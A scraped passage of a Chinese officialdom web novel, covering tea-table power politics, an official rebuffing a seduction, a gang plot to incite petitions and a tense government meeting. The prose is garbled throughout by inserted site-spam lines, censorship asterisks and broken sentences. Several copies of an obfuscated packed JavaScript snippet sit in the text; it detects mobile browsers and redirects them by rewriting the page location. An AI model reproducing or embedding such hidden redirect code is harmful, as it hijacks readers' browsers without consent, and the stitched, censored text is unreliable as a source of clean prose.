听说看这本书的人都是很幸运的,分享后你的运气会更棒 ater那种,哈哈。” 许诗悦笑嘻嘻地走到李承身边,问。 对于这些网络梗,裴国弘和孟良德不懂,也没开口。 李承则笑着回答:“对,需要多多的boilingwater。” 许诗悦是裴国弘的宝贝外孙女,取悦她,有时比取悦裴国弘更管用。 第一步,温壶烫盏。 李承将滚烫的热水浇灌在盖碗上后,双指提起盖钮。 在大气压强下,盖子与盖碗吸得严实,整个盖碗也被李承提了起来。 他将盖碗丢向半空翻滚几圈后,用了一招扭转乾坤,让盖碗在茶托下继续旋转。 接下来就是加茶叶,摇晃。 在热气的蒸发下,再次打开盖子时,一股浓郁的茶香味飘出。 李承端起盖碗,伸手在裴国弘,孟良德和许诗悦面前绕了一圈。 闻香是茶艺中的正式礼仪,虽说在官场应酬中基本用不到,但今天情况不一样。 今天到这里,就是全面地展示茶艺,就要面面俱到。 “嗯,好茶呀。” 裴国弘闻了闻散发出的茶香,满意点头。 “好香。” 许诗悦纤细玉手在茶杯上空轻轻煽动,使得茶香能够更多地进入鼻腔中。 闻香过后,李承加入热水。 开始刮沫,并用技巧让盖子在碗口处旋转后,悬停,斜翘在盖碗边。 紧接着,就是摇茶。 摇茶的期间,有热水溅到李承的手上,他也学着许诗悦看过的网络梗,搓着手说:“呀,沸沸沸” 裴国弘和孟良德自然不解李承的表现,可一旁的许诗悦却被他逗笑:“哈哈哈,李秘书,你学得太像了.” 第238章 内部矛盾,敌我矛盾 “一代人有一代人的聊天方式呀哈哈哈” 裴国弘看到外孙女被逗笑也知道刚才李承不是失误和出洋相是在故意逗乐。 心里对于面前这位小伙子也增添了几分好感。 “是呀现在的年轻人都很有节目比我们那时候有趣多了。”孟良德附和一笑说。 接下来李承不再故意滑稽。 孟良德既然带他过来李承也要展示出一些真本事来。 时来运转观音出海蝶舞盏茗关公巡城一切动作行云流水。 “请用茶。” 李承分布将品茗杯递给裴国弘孟良德和许诗悦三人。 他只倒了三杯并没有带自己的份。 这是地位之分。 李承很清楚他们是领导自己是下属到什么时候也不能忘记了自己的身份。 人最怕的就是自视过高。 “小李呀你也给自己倒一杯你们孟省长的茶叶很不错呐。”裴国弘对李承说。 “好的裴**。” 得到裴国弘的许可后李承这才倒了一杯给自己。 他品了一口 “裴老我这次过来是想跟您请教点经验。” 饭吃过了茶也喝了孟良德准备聊些正事。 “姥爷孟叔那你们聊吧。” 听到是聊工作许诗悦识趣地起身准备离开。 她表现的天真可爱却不是没有分寸的人。 在临走之前她还笑嘻嘻地看着李承:“加boilingwater的时候别烫到手嘿嘿..” 这不只是一句关心也是对那个视频梗的调侃。 “嗯。” 李承冲她温柔一笑点头。 孟良德与裴国弘虽要谈工作但老板没有叫他离开他就不会主动离开。 “我想跟您聊一聊关于李雪忠的问题。”孟良德直言道。 “他已经得到了法律的制裁。” 裴国弘抿了一口茶放下茶杯。 这句话也是变相告诉孟良德李雪忠得到了应有的惩戒不要过度追究。 “李雪忠被抓但他还有很多问题没有被查处这对东江省的经济和**发展依旧存在不少的隐患。” 孟良德说。 单单是一个企业园区设计费李雪忠就敢**千万那些没查出来的资产不计其数。 但孟良德想查李 你的朋友正在书荒,快去帮帮他吧 雪忠,不是为了收缴他**的钱。 他是想以李雪忠为切入点,连同他**党羽一起清算。 李雪忠的党羽,在东江仍有举足轻重的权力,这些势力不削弱,孟良德的工作开展就始终放不开手脚。 尤其是,现在这些人已经开始动摇孟良德的地位。 回京任职不是空穴来风,为此,孟良德顶着很大的压力。 而这场‘回京任职’的风波,是因那些人而起。 这是一场关系到孟良德是否能留在东江省的**博弈。 赢,这位封疆大吏将凭借他多年的执政经验,和对经济的发展理念,推动东江发展的大旗。 败.孟良德不会败。 他顶多退避三舍,回到京城,依旧在实权部门的省部级(正职)干部。 可孟良德想要赢,就绕不开裴国弘这座大山。 “雪忠跟随我多年,是我的老部下,他能沦落到今天的地步,我有推卸不掉的责任。 裴国弘没有针对孟良德提出的隐患问题,做出应答。 而是打起了太极。 他的话,只是说到了这里,并没有继续往下讲。 这话只说了一半,让人没办法顺利地接话。 “到了他这个级别,**堕落就不是个人问题,裴老,东江省的今天,是您一手操持起来的。 您对这片土地有深厚的感情,我相信,您也希望东江省的发展,能够快速进步。 可是,李雪忠涉嫌的情况,已经严重到阻碍东江发展的地步了。 “良德,你说得过于严重了,雪忠给你遗留了很多麻烦,但这已经是历史,发展要向前看。 裴国弘微微摇了摇头,云淡风轻。 他在暗指,孟良德对于李雪忠的针对,是出于个人的情绪,而非真正意义的为发展考虑。 “上个礼拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138638|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,洪波也来探望过我,同样谈论到了雪忠的问题,他的想法是我赞同的。 眼下,如果再针对一些利益遗留问题,进行严查,这不利于当下组织框架的稳定。 官场上,有反对的声音是正常的,每个人都是个体,大家想法不同,谁也不能确保谁就一定是对的。 没有反对的声音,那就是一言堂,才要出事情的! 裴国弘话中依旧带着深意。 需要细细分析去理解。 在李雪忠的问题上,马洪波和孟良德有不同意见。 马洪波要的是 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 **平衡,李雪忠事件深究下去,牵连出的一些人,可能会影响**稳定的框架。 马洪波不想看到这种结果,他不想让孟良**,也不想让孟良德败,他需要互相牵制。 裴国弘第一句话提及马洪波,表示了赞同,这是摆明立场。 第二句话是提醒孟良德要接纳反对的声音,不能搞一言堂。 毕竟,省长要主抓经济,他希望孟良德的工作重心,不要放在**斗争上。 “裴老,我不是不能接受反对的声音,我是不能接受,反对的声音是在维护某个人,或某个小集体的利益。” 孟良德提出了反对意见。 在这个全过程里,李承一边为两位领导倒茶,一边专心致志地去听。 听这些大人物的交流,他能收获到很多。 “我们是一个**的国家,内部矛盾,就要**解决嘛。” 对于孟良德的反驳,裴国弘淡淡摇了摇头。 他的态度已经很明白,也不想在李雪忠这件事上,过多地浪费口舌。 轻飘飘的一句内部矛盾,是想打发孟良德。 “这不是内部矛盾,而是敌我矛盾,要斗争!”孟良德不肯作罢,将问题上升了一个高度。 “以牺牲组织框架的稳定作为斗争条件,代价会不会太大?” 裴国弘笑呵呵地摆了摆手,说:“良德同志,你有些钻牛角尖了,这只是一个内部矛盾!” 第239章 层次和层级 听着两位大佬级别人物的斗法,李承也端起茶杯,抿了一口。 他就像一个上学时,认真听讲的学生,在听两个教授在做辩论。 满眼都是求知的渴望。 教员的《关于正确处理人民内部矛盾的问题》,基本是每位官员的必修课。 何为人民内部矛盾? 人民内部矛盾是根本利益一致基础上的矛盾,并非对抗性的问题。 一切初衷都是为了人民利益最大化,而产生的分歧。 面对这种矛盾,通常是**方式解决。 何为敌我矛盾? 敌我矛盾是根本利益完全不同的矛盾,是对抗性的矛盾。 是好与坏,黑与白之间的对峙。 面对敌我矛盾,解决方案只有斗争! 在李雪忠的问题上,孟良德和裴国弘有严重的分歧。 在孟良德看来。 李雪忠****金额巨大,他遗留下的**难题,以及他那些老下属也有为虎作伥的行径。 这些都严重破坏了人民的利益。 对于这些‘破坏分子’要铲除,要斗争,这是妥妥的敌我矛盾! 但在裴国弘看来。 深究李雪忠,不利于组织框架的稳定。 组织内部不稳定,会对社会和谐,经济发展都会产生严重的负面影响。 孟良德要深究,是为人民利益考虑。 而他们选择不深究,是为了维护组织稳定,同样是为人民利益考虑。 这属于内部矛盾! 作为一个旁观者,李承的心,自然是向着孟良德这一方的。 可在他个人看来,他更赞同这是一场内部矛盾。 他认为,孟良德和裴国弘在内部与敌我矛盾的分歧上,不在一个层次。 裴国弘看得更长远,高出孟良德一层。 而孟良德看到的,是眼下的斗争。 这也是为何裴国弘说孟良德在钻牛角尖的原因。 “裴老,李雪忠的问题远比想象要严重. “哎,良德同志,他的问题再严重,能严重过组织框架的失衡吗? 孟良德还要继续争辩,被裴国弘挥手打断。 这还是李承第一次见到,孟良德在与人谈论时吃瘪。 “好吧,李雪忠同志的问题,我愿意听从裴老的意见。 见裴国弘态度坚决,孟良德叹了一口气,算是服了软。 可紧接着,孟良德再次话锋一转:“裴老,还有一 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 件事想跟您商量一下。” 闻言,裴国弘脸上笑容僵硬片刻,这份僵固转瞬即逝:“嗯,你说。” “建军同志任期以满,他年龄到线,也要退居二线了,我考虑很久,还是想推荐谢威同志担任汉江****一职。 谢威也曾是您手下的兵,他的能力您清楚。 现在汉江面临着产业结构升级,高端制造偏弱的问题,急需这样的干将顶替上去。” 孟良德缓缓道出了他的想法。 “呵呵呵” 听完孟良德的算盘,裴国弘笑了起来,他伸出手,指了指孟良德:“你呀,算盘打到我这里来了。 谢威确实不错,我会推荐,不过我老头子退休了,人微言轻,不一定管用。” 裴国弘知道自己被算计了,但他并不反感这个算计。 谢威是他的老部下,推谢威担任汉江****,对他没坏处。 反而能顺水推舟地卖孟良德一个人情。 “裴老在东江**们心中的地位,永远是第一位。”孟良德恭维道。 两个人在这件事情上达成了共识。 又聊了会天,这才告辞离开。 许诗悦也跟着一起相送二人,礼貌告别:“孟叔叔欢迎您常来做客。” “嗯,有时间一定。”孟良德微笑答应。 “下次来,最好也带上李承呗,让他教教我泡茶。”许诗悦说。 “没问题。” 坐在回迎宾馆的车上,孟良德始终保持着沉默。 他闭着眼睛,再次进入冥想状态,去修养精神。 李承的脑袋里,却一直在复盘刚才的对话。 分析了很久,他最终得到了一个结果! 在内部矛盾与敌我矛盾的分歧里,孟良德不是差了裴国弘一个层级,而是从最开始,就不在一个层次。 孟良德这次过来,真正的目的,就是帮助谢威拉选票。 谢威是分管商务和工信的副省长,是孟良德派系的人。 汉江****张建军即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138639|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将到期卸任,空缺出来一个****的位置,孟良德想推谢威上去。 省会城市的****,和副省长虽同为省部级(副职),但汉江****的实权更大,话语权也更重。 省会城市的****必定是省委**,谢威担任这一职位,孟良德就能在**中再拿下一票。 这才是孟良德今天见裴国弘的主要目的。 孟良德何许人也? 在来之前,他就知道关于 你的朋友正在书荒,快去帮帮他吧 李雪忠的问题,裴国弘不会赞同他。 他跟裴国弘在这个问题上争辩,表现出坚定的态度,其实是通过这种方式,卖裴国弘一个面子,送一个顺水人情。 人情和面子给足后,孟良德才提谢威的事情,这就让裴国弘很难再拒绝。 这也是为何,孟良德说还有一事时,裴国弘表情僵固的原因。 他那一刻就知道,自己被孟良德给算计了! 当李承分析出这些后,他不禁再次对自己这位老板的手腕,感到深深的敬佩! 送孟良德回到迎宾馆,李承看了一眼手机,上面有几条顾澜发来的短信。 询问李承工作有没有结束,她等着给李承送衣服之类的。 除此之外,还有许梦发来的消息。 许梦陪同完父母吃过晚饭,告诉李承不用着急,怕李承惦记她的父母。 李承回了许梦的消息后,这才回拨了顾澜的号码。 ‘嘟嘟..嘟.’ “李秘书,您忙完工作了?”顾澜温柔的声音,从电话中传来。 “嗯,你现在方便吗?我去找你。”李承说。 “我在家,位置你知道的。”顾澜道。 “好,那我现在过去。” 李承启动汽车,准备前往顾澜家。 “好的李秘书,我在家里等你。”顾澜说。 “你帮我送下楼吧,我就不上去了。” 对于昨晚的经历,李承有了些阴影,还是想远离这个女人一些。 他收顾澜的衣服,也是想跟她撇清关系。 “上来坐一会儿吧,昨晚喝得太多,还有一些案件证据上的事情,忘记跟你说。”顾澜邀请道。 “嗯那好吧。” 事关案件,李承也只好答应。 第240章 甘愿 “李秘书,请进。 再次来到顾澜的家,屋子已经被清扫干净。 空气中弥漫着淡淡的香水味。 换上拖鞋,顾澜拿着一套当下比较流向的高端运动品牌服装,走到李承面前:“看看样子,喜不喜欢?不喜欢我去换。 “我的衣服不值什么钱,没必要买这么贵的品牌。李承说。 “昨天给你添了麻烦,我还出了丑,这是以表歉意。 顾澜挽了一下秀发,故意耸了下肩膀,算是媚态百出:“看看样子喜欢吗? “嗯,可以。李承敷衍点头。 就算不喜欢,他也不会通过顾澜去退还。 他只想尽快了解完情况,离开这里。 “那你试一试,看看合不合身。顾澜说着,伸手就要帮李承脱外套。 “不用,我回去试就行,不合身的话,我让我女朋友去帮我换。李承退后半步,躲开顾澜。 男性的直觉告诉他,顾澜目的不纯。 所以,李承特意强调了自己有女朋友。 “我们还是聊一聊案件相关的问题吧。李承说。 他并未朝着客厅走去,生怕顾澜再次做出什么非分举动。 “衣服只能我去换,刷的会员卡,试试看,我觉得你穿上会很帅。 顾澜察觉到李承的反抗情绪,但她还是上前几步,伸手去帮李承脱衣服。 “不用,真的不用。 李承抬手挡住顾澜,语气严厉拒绝。 可顾澜似乎是有所准备,在李承伸手阻拦时,她故意用手碰了一下睡裙的吊带。 在失去吊带的支撑,睡裙顺着她滑嫩的肌肤掉落。 落至脚下。 李承震惊地发现,顾澜除了这件单薄的睡裙之外,居然是一丝不挂。 她并没有因为睡裙掉落,身体暴露在李承面前而产生半点的慌乱。 在李承回避目光时,她直接走出掉落的睡裙,向李承缓步而去:“李秘书,我们去卧室聊案情,好吗? 顺便,补偿一下昨晚的失礼 这是赤裸裸的勾引! 李承也没想到,顾澜刚刚死掉了丈夫,居然会用这种方式勾引自己。 “以后你的案件,**部门会跟你对接。 他甚至没有要顾澜送给她的衣服,直接转过身,准备推门离开。 “李秘书,我不会破坏你的感情,我愿意在你的背后.顾澜柔情的说。 可她已经做出让步 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ,算是放下了自己的尊严,却也没能等到李承的留步。 ‘砰’ 回应她的,只有一道沉闷的关门声。 感受着刚从门外飘进来的凉意,顾澜僵硬在原地,情绪也变得低落。 她与陈东早就没了夫妻感情。 昨天,在她最难受伤心时,李承愿意陪着她喝喝酒,聊聊天,给了她一丝温暖,这让她对李承有了好感。 同时,她怕赵金福等人还会报复。 她想献身给李承,一来,是她的确需要一个男人的安慰和温暖,填补她空虚的灵魂和身体。 二来,她也是看重了李承的身份地位。 认为只要和李承发生了关系,对方就能更照顾她,保护他们母女的安全。 她想得很美好。 在她眼里,男人都好色。 而她也拥有足够的姿色,虽然结过婚,生过孩子,可依旧风韵犹存。 她认为自己已经做出让步,甘愿做李承的小三。 白捡的漂亮女人,还不用负责,换任何男人都不会拒绝。 但她失策了,李承的决绝超出了她的想象。 次日中午。 李承再次收到了顾澜的短信。 【李秘书,衣服给你放在门卫了,是我想太多,给你添麻烦了,对不起。】 看到这条消息,李承没有回复。 衣服是对方的赔礼,李承即使不想要,可东西已经放在了门卫,不能不取。 李承没有回复她的消息,趁着中午下班的时间,赶到门卫。 “李秘书,您的衣服。” 门卫见李承过来,笑盈盈地将衣服递了过去:“刚才送衣服过来的,是您女朋友吗?真漂亮。” “不是,一个朋友。” 李承接过衣服后,递了根香烟过去:“于师傅,辛苦你了。” “不辛苦,小事儿。” 门卫接过香烟,笑呵呵地摆了摆手。 李承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138640|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给自己也点燃了一根烟,出了省政府大院。 晚上,他还要坐孟良德的专车回迎宾馆,这些衣服不好带在身边。 省政府不远处就有一个快递站,李承准备发同城快递,邮寄回家。 “李秘书,这是新买的衣服呀?” 刚走出没几步,身后传来一道招呼声。 李承回过头,看到钱江正一脸怪异笑容地盯着自己。 钱江是常务副省长徐铁生的秘书。 “嗯,你也出去呀?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 李承微笑点头,随口客套一句。 “去对面买杯咖啡提提神,昨天写徐省长写了一宿的稿子。” 钱江打了一个哈欠,客气问:“李秘书,要不要给你带一杯?” “不用了,谢谢。” 李承吸了一口烟,摆手拒绝。 “那我先走了。” 钱江冲李承说了一句,迈步朝着左侧走去。 李承弹了弹烟灰,走向道路对面。 在跨省**机关的配合抓捕下,李铁落网。 专案小组几天几夜的审讯下,李铁最终没能坚持住,交代了案情。 根据他的口供,以及专案小组的核实调查,最终确认,指使李铁雇**人的幕后主使是龙胜金融公司的老板,孙大龙。 这几起案件都是孟良德格外关注的,所以,在调查有进展后,宫庆鑫第一时间告知了李承。 “宫局,孙大龙这边,有交代吗?”李承问。 “他嘴硬得很,想从他口中得到雷二利的消息,难啊!” 宫庆鑫无奈地摇了摇头,说:“这个孙大龙,从十四五岁就跟着雷二利跑江湖,是雷二利的干儿子。 雷二利带他混社会,给他买车买房娶媳妇儿,给他的生意,也都是暴利生意。 说难听点,雷二利对他,比他亲爹对他都好,想让他出卖雷二利,不好办。” “伊莉莎那边,有没有进展,关于谢志强的问题,她还不肯说吗?”李承问。 雷二利的自我保护意识很强,查了这么久,很多线索都是在即将碰触到他时被中断。 李承认为,目前唯一的希望,就是谢志强! 第241章 重点目标 “什么都不说。” 面对李承询问时,宫庆鑫停顿了半秒。 他的工作重点从未放在伊莉莎身上,这源自于他对江湖人的偏见,尤其是对田进华的偏见。 这种偏见,不只来自那几次审讯过程。 也与他从业多年跟江湖人打的交道,以及这几年跟田进华也有过案情接触有关。 田进华上一次被判刑时,宫庆鑫还是城西分局的局长,那起案件,也是他负责。 在他的刻板印象里,田进华就是一个什么都不肯说,愿意用假信息迷惑警方的顽固分子。 “宫局,我的建议,还是要重点针对伊莉莎做出突破,死马当活马医吧。 比起孙大龙这些人,伊莉莎更容易妥协。” 李承看得出来,宫庆鑫并没有把伊莉莎放在心上,所以才出言劝说。 李承不是警察,他没有参与案件调查的资格,具体审讯还要看宫庆鑫。 他也不是孟良德,不能直接给宫庆鑫传达命令,只能用建议的方式劝说。 至少在李承看来,田进华没说谎。 在审讯难度上讲,伊莉莎是女人,抗压能力一定比孙大龙差,她与雷二利的关系也没那么亲近,更容易作为突破口。 “好,我具体查一下伊莉莎的家庭与经历,做出针对性的审讯方案。” 宫庆鑫点燃一根香烟,问:“赵金福那边,有没有透露什么线索?” 宫庆鑫负责的是汉江扫黑除恶。 ****的陈东案,抵押车**伤人案,还有田进华案,由他们市局在负责调查。 而赵金福的**,以及可能涉嫌的**,由省纪委和**厅成立的专案小组,进行调查。 自从孟良德将照片交给李岳明后,纪委就已经抓捕了赵金福。 他们两方的调查,虽最终指向的幕后人物,皆与雷二利和花海集团有关。 但都属于独立的调查方向,对于纪委和**厅的进展,宫庆鑫不知情。 他想从李承这里,获取到一些信息。 “还在调查中,有什么相关情况,鲁厅长应该会传达给你。”李承道。 赵金福已经透露了些口风,但这些线索,不该由李承传达给宫庆鑫。 该让他知道的时候,鲁林就会说。 “嗯,好。” 滨西市。 一处破旧的农村房屋里,白邱赫双腿盘在炕头上,正看着电视机里播放的电视剧,喝着酒。 在他旁边,一个浓 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 妆艳抹的女人正给他捏着肩膀。 女人年纪不大二十四五岁染着一头红色头发肉色丝袜下的双腿皆是纹身。 “白哥你不是说补偿款下来就给我最新款的苹果手机吗?这个钱什么时候能下来呀?” 女人手指用力揉捏着满眼的贪婪之色。 “再等等不着急这个钱肯定跑不掉的。”白邱赫一手啃着鸡爪一手拎着酒瓶猛灌一口。 “我看呐五百万你就别做梦了别人都拿完了补偿政府不可能对你让步的。 二百万不少了足够咱俩吃香喝辣环游世界了。” 女人从背后搂住他的脖子在他的侧脸上亲了一口:“白哥你就别坚持了钱这东西揣自己兜里多好。” “头发长见识短你懂个屁二百万是保底这钱跑不掉过几天我再去闹一闹。” 白邱赫态度坚定对女人训责一番。 “哼我看你就是想白嫖睡我这么久还不想给我花钱。”女人哼了一声把头扭到一边。 她跟白邱赫在一起就是知道他爸**能赔偿。 她这么哄着白邱赫图的就是钱。 “什么**叫白嫖啊你天天吃我的喝我的我少给你花钱了?”白邱赫瞪了她一眼不满地说。 “就你这小破房子换其他女人谁跟你呀?”女人反驳道。 白邱赫的家确实过于寒酸。 “操等老子有钱了 白邱赫啃了一口鸡爪子说:“继续按别停呀。” “好吧。” 女人心中十分不满可为了白邱赫父亲的赔偿款还是强压下火气继续给白邱赫按摩。 ‘汪汪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138641|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汪’ 正在这时院外的狗狂叫起来。 透过玻璃白邱赫看到有三个人朝着屋子走了进来。 ‘咯吱’ 房门打开三个男人走了进来。 如果李承在场一定能认出为首的男人正是花海集团的毕阳。 “你们找谁呀?” 白邱赫警惕地看着三人试探的问。 他手里的酒瓶紧紧攥着做好了随时动手的准备。 这两年在他外面欠下不少外债他担心是债主雇的要账人。 “你是白邱赫?” 毕阳用手捂住鼻子满屋的酒气和臭脚丫子味让他非常反感。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “对,怎么了?”白邱赫反问。 “自我介绍一下,我是花海集团的总经理,我叫毕阳。” 花海集团在整个东江省的上层圈子,都是鼎鼎大名,可对此,白邱赫压根没听说过。 “什么花海集团,没听说过。”白邱赫道。 “呵” 毕阳轻笑一声:“你听没听过,也无所谓了,这次过来,是想跟你谈个合作。” “我都不认识你,跟你们有什么好谈的?”白邱赫梗着脖子,问。 “你不认识我,总认识张野吧?” 张野是滨西的社会大哥,白邱赫欠的款,就是欠张野手下的小弟。 “认识,但我现在没钱还他。”白邱赫略显胆怯地说。 他敢跟政府叫嚣,甚至敢在孟良德面前猖狂,那是因为他知道,政府不会去刁难他。 可张野那些社会人不一样。 那些人抓住他,是会把他往死里整的。 “我帮你把钱还上,你呢,也帮我个小忙,怎么样?”毕阳说。 “我欠他们的钱,利滚利下来,可不少,你真帮我还?”白邱赫试探地问。 他其实欠的本金就十万块钱,而且这十万已经想尽办法还清了,除本金外,利息也付出去五六万。 可到目前为止,在利滚利下,他还欠对方八十多万! 第242章 矛头 毕阳没有回复他,拿起手机,直接拨通了一个电话,并按下免提键。 “毕总,你给我打电话,有什么指示呀?”张野笑呵呵地问。 在花海集团这种庞然大物面前,张野的势力,不值一提。 但他忌惮花海集团,忌惮的不是公司市值,而是李美娇黑白通吃的能力。 “有个叫白邱赫的小子,欠你点钱,这个钱算在我头上。”毕阳说。 “白邱赫?” 张野想了想,并未听说过这个名字。 “我是从麻子哥那借的钱。”白邱赫在一旁提醒。 他的声音同样能传到电话那边。 张野沉默了几秒,麻子就在他身边,他在询问具体数字。 在听到麻子汇报本金只有十万,而且已经还清后,张野笑呵呵地说:“毕总您都开口了,这个账直接一笔勾销。” 这是张野送毕阳的人情。 “嗯,好。” 毕阳也没跟他客气,直接答应:“麻子在你身边吗?让他跟白邱赫说句话。” “好。” 张野应了一声后,电话那边麻子的声音:“小白,你的账毕总给你抹了,就这么算了。” “谢谢麻子哥,谢谢野哥,谢谢毕总。” 闻言,白邱赫惊喜若狂。 这对他来说,无异于天上掉馅饼。 毕阳挂断电话,说:“接下来,谈谈我们的事情吧。” “坐下来说,毕总。” 白邱赫趴到炕沿边,用手清理了一下上面的瓜子皮:“你帮了我大忙,什么事情,尽管吩咐。” 在他看来,没有任何一件事,比那笔债务更难缠。 他去敲诈勒索政府,就是因为这笔债务。 两百万,还完债也就不剩多少钱了,所以,他才迟迟不答应那笔赔偿款。 “我要你去京城,把矿难的事情闹大!”毕阳说。 “我也想过去闹,但我就是一个老百姓,没有门路呀,而且一直有人盯着我呢。” 白邱赫叹了一口气,无奈地说。 他早就想去京城**,迟迟没动身的原因是不知去什么地方**。 而且,他也察觉到了,政府一直派人盯着他。 “这个你不用操心,你只需要尽可能地叫一些遇难者家属跟着**,剩下的事情我会安排。”毕阳说。 孟良德最近的举动,已经让李美娇及其背后势力感受到了威胁。 所以,他们也要采取反击行动。 你的朋友正在书荒,快去帮帮他吧 滨西重大矿难就是最好的反击方式,只要这群遇难者家属去京城闹,这件事传到了上级的耳朵里。 到时候,京城那边的人在运作一下,很有可能动摇孟良德在东江省的根基! “没问题,我保证闹个天翻地覆! 省政府会议室。 孟良德召开了一场经济发展会议,会议内容主要围绕封兰市雪村扩建问题。 李承作为随行人员,负责参会记录。 会议上,封兰市长徐江滔滔不绝,对于雪村扩建的利好,进行了介绍。 参与中的众多领导,多数认真听,还有少数心不在焉,完全没当回事。 其中,常务副省长徐铁生一直低着头,充耳不闻。 “孟省长,我介绍完了。 “嗯。 孟良德点了点头,目光环视一圈,最后落在了徐铁生的脸上:“铁生同志,你对于雪村的扩建,有什么见解? “我认为,以眼下东江省的经济情况,不适合投资扩建。 徐铁生被点到名,抬起头说:“产业升级还在攻坚阶段,我们的经济,很困难啊。 东江省的经济在全国排名,属于中等偏下。 作为一个老工业,资源省,曾经,东江省辉煌过。 但在国家的大策略里,东江省资源外流,补给到了沿海省份,而东江的经济很长一段时间却停滞了。 尤其是高端企业的兴起,他们的老工业却在弱化,加上环保标准越来越严,逼着东江省要来一场大改革。 目前来说,东江省的工业改革还处于实施阶段,并不完善。 在徐铁生看来,工作重心应该放在产业升级,而非大资金投入在文旅建设上。 “其他同志的看法呢?孟良德问。 作为省长,即使他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138642|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有不同看法,也不急于反驳。 在这些参会人员中,有支持雪村扩建的,这些人会进行反驳意见。 省长,是要最后总结和拍板的。 “产业升级和旅游建设,是两码事,要两手抓,就像人一样,是靠两条腿走路。 如果只是单腿蹦,走不快,也走不远。 谢威副省长第一个站出来,提出了反对意见。 他是孟良德忠实的支持者。 “封兰和滨西一样,都是资源型城市,一手好牌开局打得稀烂,沦为负债城市。 就算给他们扶持,难道他们就能做好吗?怕是到最后,还会是偷 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 鸡不成蚀把米的结果。” 徐铁生一阵见血。 封兰与滨西,以前都是资源和工业强市。 沦为今天的地步,是**市政府的无能,也是****的结果。 这是烂到骨子里的问题,不是换一批领导班子,就能解决的。 徐铁生的反对,也有依据。 “我们不能因为曾经的历史问题,就否定这座城市的发展前景,就事论事,我认为,雪村扩建对封兰脱离负债,摆脱困境是一个机会。 封兰需要这样的机会,封兰的百姓,同样需要这个机会。”谢威郑重其事地道。 “烂到根了,就算给它一座金山,也会败光。” 徐铁生摆了摆手,冷笑一声:“这些钱投进去,怕是也要进入某几个人的口袋。” “常务,这一点您放心,我会亲自抓这个项目,组建一个监管小组,保证每一分钱,都经得起推敲。” 徐江信誓旦旦地保证:“我敢当着各位领导的面,立下军令状!” “那么大的工程,能监管住吗?” 徐铁生拧开水杯,喝了一口,继续说:“有些人,就在我们眼皮底下,都敢与奸商勾结,收礼物,享招待便利。 更别说建设一个远离市区的山村。” 徐铁生说得轻描淡写,可听在李承耳朵里,却是那样的刺耳。 他知道,徐铁生矛头所指,就是自己! 第243章 针对 “徐常务您说的这个人是谁呀?” 分管文旅的副省长马康附和询问。 他是徐铁生的人两个人一唱一和将话题扩大。 “唉这人就在我们会议室内 他嘴上说不提这事实际上他就是想等孟良德问。 话题已经抛出来了孟良德不问那就会给人一种错觉仿佛省长在包庇某人。 他在以退为进! 李承记录的笔顿了顿他看向徐铁生平静的眼神中藏着怒意。 这点小事情根本不值得放在这种会议上提出来。 